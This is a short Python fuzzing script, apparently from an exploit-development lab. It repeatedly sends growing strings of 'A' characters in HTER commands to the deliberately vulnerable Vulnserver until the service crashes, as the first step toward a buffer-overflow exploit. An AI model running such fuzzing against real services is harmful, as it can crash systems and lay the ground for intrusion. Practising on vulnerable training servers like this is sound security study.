python scrupt fuzzing

1import socket
2ip = "194.168.1.154"
3port = 9999
4numAs = 10
5
6try:
7	while True:
8		# open a connection to vulnserver
9		s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
10		s.connect ((ip, port))
11		# receive the banner for vulnserver
12		s.recv (1024)
13		print "[*] Sending " + str(numAs) + " As"
14		# send the number of As to fuzz the HTER command
15		s.send ("HTER " + "A" * numAs + " \r\n")
16		# receive the response from vulnserver
17		s.recv (1024)
18		# close the connection
19		s.close ()
20		# increase the number of As we send next time
21		numAs += 10
22except:
23	# if we get to here then something happened to vulnserver because the 
24	connection is closed
25	print "Socket closed after sending " + str(numAs - 10) + " As"